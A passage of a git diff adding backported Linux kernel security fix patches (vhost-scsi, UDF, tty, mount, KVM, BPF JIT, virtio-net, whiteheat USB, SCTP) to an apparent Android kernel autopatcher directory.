VHOST_SCSI_MAX_TARGET (256) elements so +anything higher than 255 then it is invalid. I have made that the limit +now. + +In vhost_scsi_send_evt() we mask away values higher than 255, but now +that the limit has changed, we don't need the mask. + +Signed-off-by: Dan Carpenter +Signed-off-by: Nicholas Bellinger +[ The affected function was renamed to vhost_scsi_make_tpg before + the vulnerability was announced, I ported it to 3.10 stable and + changed the code in function tcm_vhost_make_tpg] +Signed-off-by: Wang Long +Signed-off-by: Greg Kroah-Hartman +--- + drivers/vhost/scsi.c | 6 +++--- + 1 file changed, 3 insertions(+), 3 deletions(-) + +diff --git a/drivers/vhost/scsi.c b/drivers/vhost/scsi.c +index fb97bc0b80e78..2947eda522b25 100644 +--- a/drivers/vhost/scsi.c ++++ b/drivers/vhost/scsi.c +@@ -1088,7 +1088,7 @@ static void tcm_vhost_send_evt(struct vhost_scsi *vs, struct tcm_vhost_tpg *tpg, + * lun[4-7] need to be zero according to virtio-scsi spec. + */ + evt->event.lun[0] = 0x01; +- evt->event.lun[1] = tpg->tport_tpgt & 0xFF; ++ evt->event.lun[1] = tpg->tport_tpgt; + if (lun->unpacked_lun >= 256) + evt->event.lun[2] = lun->unpacked_lun >> 8 | 0x40 ; + evt->event.lun[3] = lun->unpacked_lun & 0xFF; +@@ -1894,12 +1894,12 @@ static struct se_portal_group *tcm_vhost_make_tpg(struct se_wwn *wwn, + struct tcm_vhost_tport, tport_wwn); + + struct tcm_vhost_tpg *tpg; +- unsigned long tpgt; ++ u16 tpgt; + int ret; + + if (strstr(name, "tpgt_") != name) + return ERR_PTR(-EINVAL); +- if (kstrtoul(name + 5, 10, &tpgt) || tpgt > UINT_MAX) ++ if (kstrtou16(name + 5, 10, &tpgt) || tpgt >= VHOST_SCSI_MAX_TARGET) + return ERR_PTR(-EINVAL); + + tpg = kzalloc(sizeof(struct tcm_vhost_tpg), GFP_KERNEL); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0146-4d2c033d846d-udf Check length of extended attributes and allocation descriptors.patch b/recipes-kernel/linux/linux-bass/autopatcher/0146-4d2c033d846d-udf Check length of extended attributes and allocation descriptors.patch new file mode 100644 index 0000000..6edd80c --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0146-4d2c033d846d-udf Check length of extended attributes and allocation descriptors.patch @@ -0,0 +1,47 @@ +From 4d2c033d846d0cf835ecb2ab6f3e3d0e002b915d Mon Sep 17 00:00:00 2001 +From: Jan Kara +Date: Wed, 7 Jan 2015 13:49:08 +0100 +Subject: udf: Check length of extended attributes and allocation descriptors + +commit 23b133bdc452aa441fcb9b82cbf6dd05cfd342d0 upstream. + +Check length of extended attributes and allocation descriptors when +loading inodes from disk. Otherwise corrupted filesystems could confuse +the code and make the kernel oops. + +Reported-by: Carl Henrik Lunde +Cc: stable@vger.kernel.org +Signed-off-by: Jan Kara +Signed-off-by: Jiri Slaby +[Jan and Jiri fixed it in 3.12 stable, i ported it to 3.10 stable, + replaced bs by inode->i_sb->s_blocksize] +Signed-off-by: Zhang Zhen +Signed-off-by: Greg Kroah-Hartman +--- + fs/udf/inode.c | 10 ++++++++++ + 1 file changed, 10 insertions(+) + +diff --git a/fs/udf/inode.c b/fs/udf/inode.c +index aa023283cc8a2..789814f274388 100644 +--- a/fs/udf/inode.c ++++ b/fs/udf/inode.c +@@ -1495,6 +1495,16 @@ static void udf_fill_inode(struct inode *inode, struct buffer_head *bh) + iinfo->i_checkpoint = le32_to_cpu(efe->checkpoint); + } + ++ /* ++ * Sanity check length of allocation descriptors and extended attrs to ++ * avoid integer overflows ++ */ ++ if (iinfo->i_lenEAttr > inode->i_sb->s_blocksize || iinfo->i_lenAlloc > inode->i_sb->s_blocksize) ++ return; ++ /* Now do exact checks */ ++ if (udf_file_entry_alloc_offset(inode) + iinfo->i_lenAlloc > inode->i_sb->s_blocksize) ++ return; ++ + switch (fe->icbTag.fileType) { + case ICBTAG_FILE_TYPE_DIRECTORY: + inode->i_op = &udf_dir_inode_operations; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0147-cf872776fc84-tty Fix hang at ldsemdownread.patch b/recipes-kernel/linux/linux-bass/autopatcher/0147-cf872776fc84-tty Fix hang at ldsemdownread.patch new file mode 100644 index 0000000..3e97eb9 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0147-cf872776fc84-tty Fix hang at ldsemdownread.patch @@ -0,0 +1,121 @@ +From cf872776fc84128bb779ce2b83a37c884c3203ae Mon Sep 17 00:00:00 2001 +From: Peter Hurley +Date: Wed, 11 Dec 2013 21:11:58 -0500 +Subject: tty: Fix hang at ldsem_down_read() + +When a controlling tty is being hung up and the hang up is +waiting for a just-signalled tty reader or writer to exit, and a new tty +reader/writer tries to acquire an ldisc reference concurrently with the +ldisc reference release from the signalled reader/writer, the hangup +can hang. The new reader/writer is sleeping in ldsem_down_read() and the +hangup is sleeping in ldsem_down_write() [1]. + +The new reader/writer fails to wakeup the waiting hangup because the +wrong lock count value is checked (the old lock count rather than the new +lock count) to see if the lock is unowned. + +Change helper function to return the new lock count if the cmpxchg was +successful; document this behavior. + +[1] edited dmesg log from reporter + +SysRq : Show Blocked State + task PC stack pid father +systemd D ffff88040c4f0000 0 1 0 0x00000000 + ffff88040c49fbe0 0000000000000046 ffff88040c4a0000 ffff88040c49ffd8 + 00000000001d3980 00000000001d3980 ffff88040c4a0000 ffff88040593d840 + ffff88040c49fb40 ffffffff810a4cc0 0000000000000006 0000000000000023 +Call Trace: + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? sched_clock_cpu+0x9f/0xe4 + [] schedule+0x24/0x5e + [] schedule_timeout+0x15b/0x1ec + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? _raw_spin_unlock_irq+0x24/0x26 + [] down_read_failed+0xe3/0x1b9 + [] ldsem_down_read+0x8b/0xa5 + [] ? tty_ldisc_ref_wait+0x1b/0x44 + [] tty_ldisc_ref_wait+0x1b/0x44 + [] tty_write+0x7d/0x28a + [] redirected_tty_write+0x8d/0x98 + [] ? tty_write+0x28a/0x28a + [] do_loop_readv_writev+0x56/0x79 + [] do_readv_writev+0x1b0/0x1ff + [] ? do_vfs_ioctl+0x32a/0x489 + [] ? final_putname+0x1d/0x3a + [] vfs_writev+0x2e/0x49 + [] SyS_writev+0x47/0xaa + [] system_call_fastpath+0x16/0x1b +bash D ffffffff81c104c0 0 5469 5302 0x00000082 + ffff8800cf817ac0 0000000000000046 ffff8804086b22a0 ffff8800cf817fd8 + 00000000001d3980 00000000001d3980 ffff8804086b22a0 ffff8800cf817a48 + 000000000000b9a0 ffff8800cf817a78 ffffffff81004675 ffff8800cf817a44 +Call Trace: + [] ? dump_trace+0x165/0x29c + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? save_stack_trace+0x26/0x41 + [] schedule+0x24/0x5e + [] schedule_timeout+0x15b/0x1ec + [] ? sched_clock_cpu+0x9f/0xe4 + [] ? down_write_failed+0xa3/0x1c9 + [] ? _raw_spin_unlock_irq+0x24/0x26 + [] down_write_failed+0xab/0x1c9 + [] ldsem_down_write+0x79/0xb1 + [] ? tty_ldisc_lock_pair_timeout+0xa5/0xd9 + [] tty_ldisc_lock_pair_timeout+0xa5/0xd9 + [] tty_ldisc_hangup+0xc4/0x218 + [] __tty_hangup+0x2e2/0x3ed + [] disassociate_ctty+0x63/0x226 + [] do_exit+0x79f/0xa11 + [] ? get_signal_to_deliver+0x206/0x62f + [] ? lock_release_holdtime.part.8+0xf/0x16e + [] do_group_exit+0x47/0xb5 + [] get_signal_to_deliver+0x241/0x62f + [] do_signal+0x43/0x59d + [] ? __audit_syscall_exit+0x21a/0x2a8 + [] ? lock_release_holdtime.part.8+0xf/0x16e + [] do_notify_resume+0x54/0x6c + [] int_signal+0x12/0x17 + +Reported-by: Sami Farin +Cc: # 3.12.x +Signed-off-by: Peter Hurley +Signed-off-by: Greg Kroah-Hartman +--- + drivers/tty/tty_ldsem.c | 16 +++++++++++++--- + 1 file changed, 13 insertions(+), 3 deletions(-) + +diff --git a/drivers/tty/tty_ldsem.c b/drivers/tty/tty_ldsem.c +index 22fad8ad5ac2..d8a55e87877f 100644 +--- a/drivers/tty/tty_ldsem.c ++++ b/drivers/tty/tty_ldsem.c +@@ -86,11 +86,21 @@ static inline long ldsem_atomic_update(long delta, struct ld_semaphore *sem) + return atomic_long_add_return(delta, (atomic_long_t *)&sem->count); + } + ++/* ++ * ldsem_cmpxchg() updates @*old with the last-known sem->count value. ++ * Returns 1 if count was successfully changed; @*old will have @new value. ++ * Returns 0 if count was not changed; @*old will have most recent sem->count ++ */ + static inline int ldsem_cmpxchg(long *old, long new, struct ld_semaphore *sem) + { +- long tmp = *old; +- *old = atomic_long_cmpxchg(&sem->count, *old, new); +- return *old == tmp; ++ long tmp = atomic_long_cmpxchg(&sem->count, *old, new); ++ if (tmp == *old) { ++ *old = new; ++ return 1; ++ } else { ++ *old = tmp; ++ return 0; ++ } + } + + /* +-- +cgit 1.2-0.3.lf.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0148-cd4a40174b71-PATCH mnt Fail collectmounts when applied to unmounted mounts.patch b/recipes-kernel/linux/linux-bass/autopatcher/0148-cd4a40174b71-PATCH mnt Fail collectmounts when applied to unmounted mounts.patch new file mode 100644 index 0000000..c56630e --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0148-cd4a40174b71-PATCH mnt Fail collectmounts when applied to unmounted mounts.patch @@ -0,0 +1,46 @@ +From cd4a40174b71acd021877341684d8bb1dc8ea4ae Mon Sep 17 00:00:00 2001 +From: "Eric W. Biederman" +Date: Wed, 7 Jan 2015 14:28:26 -0600 +Subject: [PATCH] mnt: Fail collect_mounts when applied to unmounted mounts + +The only users of collect_mounts are in audit_tree.c + +In audit_trim_trees and audit_add_tree_rule the path passed into +collect_mounts is generated from kern_path passed an audit_tree +pathname which is guaranteed to be an absolute path. In those cases +collect_mounts is obviously intended to work on mounted paths and +if a race results in paths that are unmounted when collect_mounts +it is reasonable to fail early. + +The paths passed into audit_tag_tree don't have the absolute path +check. But are used to play with fsnotify and otherwise interact with +the audit_trees, so again operating only on mounted paths appears +reasonable. + +Avoid having to worry about what happens when we try and audit +unmounted filesystems by restricting collect_mounts to mounts +that appear in the mount tree. + +Signed-off-by: "Eric W. Biederman" +--- + fs/namespace.c | 7 +++++-- + 1 file changed, 5 insertions(+), 2 deletions(-) + +diff --git a/fs/namespace.c b/fs/namespace.c +index 2b12b7a9455d0..acc5583764dc0 100644 +--- a/fs/namespace.c ++++ b/fs/namespace.c +@@ -1669,8 +1669,11 @@ struct vfsmount *collect_mounts(struct path *path) + { + struct mount *tree; + namespace_lock(); +- tree = copy_tree(real_mount(path->mnt), path->dentry, +- CL_COPY_ALL | CL_PRIVATE); ++ if (!check_mnt(real_mount(path->mnt))) ++ tree = ERR_PTR(-EINVAL); ++ else ++ tree = copy_tree(real_mount(path->mnt), path->dentry, ++ CL_COPY_ALL | CL_PRIVATE); + namespace_unlock(); + if (IS_ERR(tree)) + return ERR_CAST(tree); diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0149-d7a681b77df6-kvm x86 fix kvmapichasevents to check for NULL pointer.patch b/recipes-kernel/linux/linux-bass/autopatcher/0149-d7a681b77df6-kvm x86 fix kvmapichasevents to check for NULL pointer.patch new file mode 100644 index 0000000..c1baefc --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0149-d7a681b77df6-kvm x86 fix kvmapichasevents to check for NULL pointer.patch @@ -0,0 +1,33 @@ +From d7a681b77df62857104797f0ebfb47eb6fdc37c6 Mon Sep 17 00:00:00 2001 +From: Paolo Bonzini +Date: Sat, 30 May 2015 14:31:24 +0200 +Subject: kvm: x86: fix kvm_apic_has_events to check for NULL pointer + +commit ce40cd3fc7fa40a6119e5fe6c0f2bc0eb4541009 upstream. + +Malicious (or egregiously buggy) userspace can trigger it, but it +should never happen in normal operation. + +Signed-off-by: Paolo Bonzini +Signed-off-by: Wang Kai +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/kvm/lapic.h | 2 +- + 1 file changed, 1 insertion(+), 1 deletion(-) + +diff --git a/arch/x86/kvm/lapic.h b/arch/x86/kvm/lapic.h +index c8b0d0d2da5ce..fc87568fc4093 100644 +--- a/arch/x86/kvm/lapic.h ++++ b/arch/x86/kvm/lapic.h +@@ -165,7 +165,7 @@ static inline u16 apic_logical_id(struct kvm_apic_map *map, u32 ldr) + + static inline bool kvm_apic_has_events(struct kvm_vcpu *vcpu) + { +- return vcpu->arch.apic->pending_events; ++ return kvm_vcpu_has_lapic(vcpu) && vcpu->arch.apic->pending_events; + } + + bool kvm_apic_pending_eoi(struct kvm_vcpu *vcpu, int vector); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0150-9f6191daa545-x86 bpfjit fix compilation of large bpf programs.patch b/recipes-kernel/linux/linux-bass/autopatcher/0150-9f6191daa545-x86 bpfjit fix compilation of large bpf programs.patch new file mode 100644 index 0000000..e81ceb3 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0150-9f6191daa545-x86 bpfjit fix compilation of large bpf programs.patch @@ -0,0 +1,50 @@ +From 9f6191daa545384ce5cc90b770f0d2bf64c0ba22 Mon Sep 17 00:00:00 2001 +From: Alexei Starovoitov +Date: Fri, 22 May 2015 15:42:55 -0700 +Subject: x86: bpf_jit: fix compilation of large bpf programs + +commit 3f7352bf21f8fd7ba3e2fcef9488756f188e12be upstream. + +x86 has variable length encoding. x86 JIT compiler is trying +to pick the shortest encoding for given bpf instruction. +While doing so the jump targets are changing, so JIT is doing +multiple passes over the program. Typical program needs 3 passes. +Some very short programs converge with 2 passes. Large programs +may need 4 or 5. But specially crafted bpf programs may hit the +pass limit and if the program converges on the last iteration +the JIT compiler will be producing an image full of 'int 3' insns. +Fix this corner case by doing final iteration over bpf program. + +Fixes: 0a14842f5a3c ("net: filter: Just In Time compiler for x86-64") +Reported-by: Daniel Borkmann +Signed-off-by: Alexei Starovoitov +Tested-by: Daniel Borkmann +Acked-by: Daniel Borkmann +Signed-off-by: David S. Miller +Signed-off-by: Jiri Slaby +Signed-off-by: Greg Kroah-Hartman +--- + arch/x86/net/bpf_jit_comp.c | 7 ++++++- + 1 file changed, 6 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/net/bpf_jit_comp.c b/arch/x86/net/bpf_jit_comp.c +index 0c966fecfb8c9..5479d677f9bed 100644 +--- a/arch/x86/net/bpf_jit_comp.c ++++ b/arch/x86/net/bpf_jit_comp.c +@@ -176,7 +176,12 @@ void bpf_jit_compile(struct sk_filter *fp) + } + cleanup_addr = proglen; /* epilogue address */ + +- for (pass = 0; pass < 10; pass++) { ++ /* JITed image shrinks with every pass and the loop iterates ++ * until the image stops shrinking. Very large bpf programs ++ * may converge on the last pass. In such case do one more ++ * pass to emit the final image ++ */ ++ for (pass = 0; pass < 10 || image; pass++) { + u8 seen_or_pass0 = (pass == 0) ? (SEEN_XREG | SEEN_DATAREF | SEEN_MEM) : seen; + /* no prologue/epilogue for trivial filters (RET something) */ + proglen = 0; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0151-bd81712486bd-virtionet drop NETIFFFRAGLIST.patch b/recipes-kernel/linux/linux-bass/autopatcher/0151-bd81712486bd-virtionet drop NETIFFFRAGLIST.patch new file mode 100644 index 0000000..e6f441d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0151-bd81712486bd-virtionet drop NETIFFFRAGLIST.patch @@ -0,0 +1,44 @@ +From bd81712486bd1af8086984b5191d055908d867ec Mon Sep 17 00:00:00 2001 +From: Jason Wang +Date: Wed, 5 Aug 2015 10:34:04 +0800 +Subject: virtio-net: drop NETIF_F_FRAGLIST + +[ Upstream commit 48900cb6af4282fa0fb6ff4d72a81aa3dadb5c39 ] + +virtio declares support for NETIF_F_FRAGLIST, but assumes +that there are at most MAX_SKB_FRAGS + 2 fragments which isn't +always true with a fraglist. + +A longer fraglist in the skb will make the call to skb_to_sgvec overflow +the sg array, leading to memory corruption. + +Drop NETIF_F_FRAGLIST so we only get what we can handle. + +Cc: Michael S. Tsirkin +Signed-off-by: Jason Wang +Acked-by: Michael S. Tsirkin +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + drivers/net/virtio_net.c | 4 ++-- + 1 file changed, 2 insertions(+), 2 deletions(-) + +diff --git a/drivers/net/virtio_net.c b/drivers/net/virtio_net.c +index 2835bfe151b17..b5d11529a39b0 100644 +--- a/drivers/net/virtio_net.c ++++ b/drivers/net/virtio_net.c +@@ -1545,9 +1545,9 @@ static int virtnet_probe(struct virtio_device *vdev) + /* Do we support "hardware" checksums? */ + if (virtio_has_feature(vdev, VIRTIO_NET_F_CSUM)) { + /* This opens up the world of extra features. */ +- dev->hw_features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; ++ dev->hw_features |= NETIF_F_HW_CSUM | NETIF_F_SG; + if (csum) +- dev->features |= NETIF_F_HW_CSUM|NETIF_F_SG|NETIF_F_FRAGLIST; ++ dev->features |= NETIF_F_HW_CSUM | NETIF_F_SG; + + if (virtio_has_feature(vdev, VIRTIO_NET_F_GSO)) { + dev->hw_features |= NETIF_F_TSO | NETIF_F_UFO +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0152-0bccecfc32cb-USB whiteheat fix potential nullderef at probe.patch b/recipes-kernel/linux/linux-bass/autopatcher/0152-0bccecfc32cb-USB whiteheat fix potential nullderef at probe.patch new file mode 100644 index 0000000..93cba1d --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0152-0bccecfc32cb-USB whiteheat fix potential nullderef at probe.patch @@ -0,0 +1,83 @@ +From 0bccecfc32cb896d49ebd226b22cf6bfed45b35d Mon Sep 17 00:00:00 2001 +From: Johan Hovold +Date: Wed, 23 Sep 2015 11:41:42 -0700 +Subject: USB: whiteheat: fix potential null-deref at probe + +commit cbb4be652d374f64661137756b8f357a1827d6a4 upstream. + +Fix potential null-pointer dereference at probe by making sure that the +required endpoints are present. + +The whiteheat driver assumes there are at least five pairs of bulk +endpoints, of which the final pair is used for the "command port". An +attempt to bind to an interface with fewer bulk endpoints would +currently lead to an oops. + +Fixes CVE-2015-5257. + +Reported-by: Moein Ghasemzadeh +Signed-off-by: Johan Hovold +Signed-off-by: Greg Kroah-Hartman +--- + drivers/usb/serial/whiteheat.c | 31 +++++++++++++++++++++++++++++++ + 1 file changed, 31 insertions(+) + +diff --git a/drivers/usb/serial/whiteheat.c b/drivers/usb/serial/whiteheat.c +index 5e3dd9f87ff5b..ae79c2245a737 100644 +--- a/drivers/usb/serial/whiteheat.c ++++ b/drivers/usb/serial/whiteheat.c +@@ -81,6 +81,8 @@ static int whiteheat_firmware_download(struct usb_serial *serial, + static int whiteheat_firmware_attach(struct usb_serial *serial); + + /* function prototypes for the Connect Tech WhiteHEAT serial converter */ ++static int whiteheat_probe(struct usb_serial *serial, ++ const struct usb_device_id *id); + static int whiteheat_attach(struct usb_serial *serial); + static void whiteheat_release(struct usb_serial *serial); + static int whiteheat_port_probe(struct usb_serial_port *port); +@@ -117,6 +119,7 @@ static struct usb_serial_driver whiteheat_device = { + .description = "Connect Tech - WhiteHEAT", + .id_table = id_table_std, + .num_ports = 4, ++ .probe = whiteheat_probe, + .attach = whiteheat_attach, + .release = whiteheat_release, + .port_probe = whiteheat_port_probe, +@@ -218,6 +221,34 @@ static int whiteheat_firmware_attach(struct usb_serial *serial) + /***************************************************************************** + * Connect Tech's White Heat serial driver functions + *****************************************************************************/ ++ ++static int whiteheat_probe(struct usb_serial *serial, ++ const struct usb_device_id *id) ++{ ++ struct usb_host_interface *iface_desc; ++ struct usb_endpoint_descriptor *endpoint; ++ size_t num_bulk_in = 0; ++ size_t num_bulk_out = 0; ++ size_t min_num_bulk; ++ unsigned int i; ++ ++ iface_desc = serial->interface->cur_altsetting; ++ ++ for (i = 0; i < iface_desc->desc.bNumEndpoints; i++) { ++ endpoint = &iface_desc->endpoint[i].desc; ++ if (usb_endpoint_is_bulk_in(endpoint)) ++ ++num_bulk_in; ++ if (usb_endpoint_is_bulk_out(endpoint)) ++ ++num_bulk_out; ++ } ++ ++ min_num_bulk = COMMAND_PORT + 1; ++ if (num_bulk_in < min_num_bulk || num_bulk_out < min_num_bulk) ++ return -ENODEV; ++ ++ return 0; ++} ++ + static int whiteheat_attach(struct usb_serial *serial) + { + struct usb_serial_port *command_port; +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0153-e7bb902b26f1-sctp fix race on protocolnetns initialization.patch b/recipes-kernel/linux/linux-bass/autopatcher/0153-e7bb902b26f1-sctp fix race on protocolnetns initialization.patch new file mode 100644 index 0000000..b9ec567 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0153-e7bb902b26f1-sctp fix race on protocolnetns initialization.patch @@ -0,0 +1,235 @@ +From e7bb902b26f1e8f7c1a4f0cc7b3abfd9b3fbb108 Mon Sep 17 00:00:00 2001 +From: Marcelo Ricardo Leitner +Date: Thu, 10 Sep 2015 17:31:15 -0300 +Subject: sctp: fix race on protocol/netns initialization + +[ Upstream commit 8e2d61e0aed2b7c4ecb35844fe07e0b2b762dee4 ] + +Consider sctp module is unloaded and is being requested because an user +is creating a sctp socket. + +During initialization, sctp will add the new protocol type and then +initialize pernet subsys: + + status = sctp_v4_protosw_init(); + if (status) + goto err_protosw_init; + + status = sctp_v6_protosw_init(); + if (status) + goto err_v6_protosw_init; + + status = register_pernet_subsys(&sctp_net_ops); + +The problem is that after those calls to sctp_v{4,6}_protosw_init(), it +is possible for userspace to create SCTP sockets like if the module is +already fully loaded. If that happens, one of the possible effects is +that we will have readers for net->sctp.local_addr_list list earlier +than expected and sctp_net_init() does not take precautions while +dealing with that list, leading to a potential panic but not limited to +that, as sctp_sock_init() will copy a bunch of blank/partially +initialized values from net->sctp. + +The race happens like this: + + CPU 0 | CPU 1 + socket() | + __sock_create | socket() + inet_create | __sock_create + list_for_each_entry_rcu( | + answer, &inetsw[sock->type], | + list) { | inet_create + /* no hits */ | + if (unlikely(err)) { | + ... | + request_module() | + /* socket creation is blocked | + * the module is fully loaded | + */ | + sctp_init | + sctp_v4_protosw_init | + inet_register_protosw | + list_add_rcu(&p->list, | + last_perm); | + | list_for_each_entry_rcu( + | answer, &inetsw[sock->type], + sctp_v6_protosw_init | list) { + | /* hit, so assumes protocol + | * is already loaded + | */ + | /* socket creation continues + | * before netns is initialized + | */ + register_pernet_subsys | + +Simply inverting the initialization order between +register_pernet_subsys() and sctp_v4_protosw_init() is not possible +because register_pernet_subsys() will create a control sctp socket, so +the protocol must be already visible by then. Deferring the socket +creation to a work-queue is not good specially because we loose the +ability to handle its errors. + +So, as suggested by Vlad, the fix is to split netns initialization in +two moments: defaults and control socket, so that the defaults are +already loaded by when we register the protocol, while control socket +initialization is kept at the same moment it is today. + +Fixes: 4db67e808640 ("sctp: Make the address lists per network namespace") +Signed-off-by: Vlad Yasevich +Signed-off-by: Marcelo Ricardo Leitner +Signed-off-by: David S. Miller +Signed-off-by: Greg Kroah-Hartman +--- + net/sctp/protocol.c | 64 ++++++++++++++++++++++++++++++++++------------------- + 1 file changed, 41 insertions(+), 23 deletions(-) + +diff --git a/net/sctp/protocol.c b/net/sctp/protocol.c +index 5a3c1c0a84a19..57c2c4c0c97b9 100644 +--- a/net/sctp/protocol.c ++++ b/net/sctp/protocol.c +@@ -1170,7 +1170,7 @@ static void sctp_v4_del_protocol(void) + unregister_inetaddr_notifier(&sctp_inetaddr_notifier); + } + +-static int __net_init sctp_net_init(struct net *net) ++static int __net_init sctp_defaults_init(struct net *net) + { + int status; + +@@ -1263,12 +1263,6 @@ static int __net_init sctp_net_init(struct net *net) + + sctp_dbg_objcnt_init(net); + +- /* Initialize the control inode/socket for handling OOTB packets. */ +- if ((status = sctp_ctl_sock_init(net))) { +- pr_err("Failed to initialize the SCTP control sock\n"); +- goto err_ctl_sock_init; +- } +- + /* Initialize the local address list. */ + INIT_LIST_HEAD(&net->sctp.local_addr_list); + spin_lock_init(&net->sctp.local_addr_lock); +@@ -1284,9 +1278,6 @@ static int __net_init sctp_net_init(struct net *net) + + return 0; + +-err_ctl_sock_init: +- sctp_dbg_objcnt_exit(net); +- sctp_proc_exit(net); + err_init_proc: + cleanup_sctp_mibs(net); + err_init_mibs: +@@ -1295,15 +1286,12 @@ err_sysctl_register: + return status; + } + +-static void __net_exit sctp_net_exit(struct net *net) ++static void __net_exit sctp_defaults_exit(struct net *net) + { + /* Free the local address list */ + sctp_free_addr_wq(net); + sctp_free_local_addr_list(net); + +- /* Free the control endpoint. */ +- inet_ctl_sock_destroy(net->sctp.ctl_sock); +- + sctp_dbg_objcnt_exit(net); + + sctp_proc_exit(net); +@@ -1311,9 +1299,32 @@ static void __net_exit sctp_net_exit(struct net *net) + sctp_sysctl_net_unregister(net); + } + +-static struct pernet_operations sctp_net_ops = { +- .init = sctp_net_init, +- .exit = sctp_net_exit, ++static struct pernet_operations sctp_defaults_ops = { ++ .init = sctp_defaults_init, ++ .exit = sctp_defaults_exit, ++}; ++ ++static int __net_init sctp_ctrlsock_init(struct net *net) ++{ ++ int status; ++ ++ /* Initialize the control inode/socket for handling OOTB packets. */ ++ status = sctp_ctl_sock_init(net); ++ if (status) ++ pr_err("Failed to initialize the SCTP control sock\n"); ++ ++ return status; ++} ++ ++static void __net_init sctp_ctrlsock_exit(struct net *net) ++{ ++ /* Free the control endpoint. */ ++ inet_ctl_sock_destroy(net->sctp.ctl_sock); ++} ++ ++static struct pernet_operations sctp_ctrlsock_ops = { ++ .init = sctp_ctrlsock_init, ++ .exit = sctp_ctrlsock_exit, + }; + + /* Initialize the universe into something sensible. */ +@@ -1448,8 +1459,11 @@ SCTP_STATIC __init int sctp_init(void) + sctp_v4_pf_init(); + sctp_v6_pf_init(); + +- status = sctp_v4_protosw_init(); ++ status = register_pernet_subsys(&sctp_defaults_ops); ++ if (status) ++ goto err_register_defaults; + ++ status = sctp_v4_protosw_init(); + if (status) + goto err_protosw_init; + +@@ -1457,9 +1471,9 @@ SCTP_STATIC __init int sctp_init(void) + if (status) + goto err_v6_protosw_init; + +- status = register_pernet_subsys(&sctp_net_ops); ++ status = register_pernet_subsys(&sctp_ctrlsock_ops); + if (status) +- goto err_register_pernet_subsys; ++ goto err_register_ctrlsock; + + status = sctp_v4_add_protocol(); + if (status) +@@ -1476,12 +1490,14 @@ out: + err_v6_add_protocol: + sctp_v4_del_protocol(); + err_add_protocol: +- unregister_pernet_subsys(&sctp_net_ops); +-err_register_pernet_subsys: ++ unregister_pernet_subsys(&sctp_ctrlsock_ops); ++err_register_ctrlsock: + sctp_v6_protosw_exit(); + err_v6_protosw_init: + sctp_v4_protosw_exit(); + err_protosw_init: ++ unregister_pernet_subsys(&sctp_defaults_ops); ++err_register_defaults: + sctp_v4_pf_exit(); + sctp_v6_pf_exit(); + sctp_sysctl_unregister(); +@@ -1514,12 +1530,14 @@ SCTP_STATIC __exit void sctp_exit(void) + sctp_v6_del_protocol(); + sctp_v4_del_protocol(); + +- unregister_pernet_subsys(&sctp_net_ops); ++ unregister_pernet_subsys(&sctp_ctrlsock_ops); + + /* Free protosw registrations */ + sctp_v6_protosw_exit(); + sctp_v4_protosw_exit(); + ++ unregister_pernet_subsys(&sctp_defaults_ops); ++ + /* Unregister with socket layer. */ + sctp_v6_pf_exit(); + sctp_v4_pf_exit(); +-- +cgit 1.2.3-1.el7 + diff --git a/recipes-kernel/linux/linux-bass/autopatcher/0154-54a20552e1ea-KVM x86 work around infinite loop in microcode when AC is.patch b/recipes-kernel/linux/linux-bass/autopatcher/0154-54a20552e1ea-KVM x86 work around infinite loop in microcode when AC is.patch new file mode 100644 index 0000000..5760b00 --- /dev/null +++ b/recipes-kernel/linux/linux-bass/autopatcher/0154-54a20552e1ea-KVM x86 work around infinite loop in microcode when AC is.patch @@ -0,0 +1,92 @@ +From 54a20552e1eae07aa240fa370a0293e006b5faed Mon Sep 17 00:00:00 2001 +From: Eric Northup +Date: Tue, 3 Nov 2015 18:03:53 +0100 +Subject: KVM: x86: work around infinite loop in microcode when #AC is + delivered + +It was found that a guest can DoS a host by triggering an infinite +stream of "alignment check" (#AC) exceptions. This causes the +microcode to enter an infinite loop where the core never receives +another interrupt. The host kernel panics pretty quickly due to the +effects (CVE-2015-5307). + +Signed-off-by: Eric Northup +Cc: stable@vger.kernel.org +Signed-off-by: Paolo Bonzini +--- + arch/x86/include/uapi/asm/svm.h | 1 + + arch/x86/kvm/svm.c | 8 ++++++++ + arch/x86/kvm/vmx.c | 5 ++++- + 3 files changed, 13 insertions(+), 1 deletion(-) + +diff --git a/arch/x86/include/uapi/asm/svm.h b/arch/x86/include/uapi/asm/svm.h +index b5d7640abc5d6..8a4add8e46393 100644 +--- a/arch/x86/include/uapi/asm/svm.h ++++ b/arch/x86/include/uapi/asm/svm.h +@@ -100,6 +100,7 @@ + { SVM_EXIT_EXCP_BASE + UD_VECTOR, "UD excp" }, \ + { SVM_EXIT_EXCP_BASE + PF_VECTOR, "PF excp" }, \ + { SVM_EXIT_EXCP_BASE + NM_VECTOR, "NM excp" }, \ ++ { SVM_EXIT_EXCP_BASE + AC_VECTOR, "AC excp" }, \ + { SVM_EXIT_EXCP_BASE + MC_VECTOR, "MC excp" }, \ + { 